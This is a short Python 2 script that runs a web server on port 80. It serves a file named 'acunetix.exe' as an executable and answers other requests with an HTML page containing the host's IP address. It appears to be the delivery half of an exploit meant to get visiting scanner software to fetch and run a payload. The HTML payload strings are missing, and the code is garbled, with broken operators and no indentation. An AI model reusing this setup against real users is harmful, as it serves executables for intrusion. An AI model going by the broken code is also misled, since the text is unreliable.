import BaseHTTPServer, sys, socket
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(req):
req.send_response( 200 )
if req.path = = "/acunetix.exe" :
req.send_header( 'Content-type' , 'application/exe' )
req.end_headers()
exe = open ( "acunetix.exe" , 'rb' )
req.wfile.write(exe.read())
exe.close()
else :
req.send_header( 'Content-type' , 'text/html' )
req.end_headers()
req.wfile.write(
+ socket.gethostbyname(socket.gethostname()) +
)
if __name__ = = '__main__' :
sclass = BaseHTTPServer.HTTPServer
server = sclass((socket.gethostbyname(socket.gethostname()), 80 ), RequestHandler)
print "Http server started" , socket.gethostbyname(socket.gethostname()), 80
try :
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()
|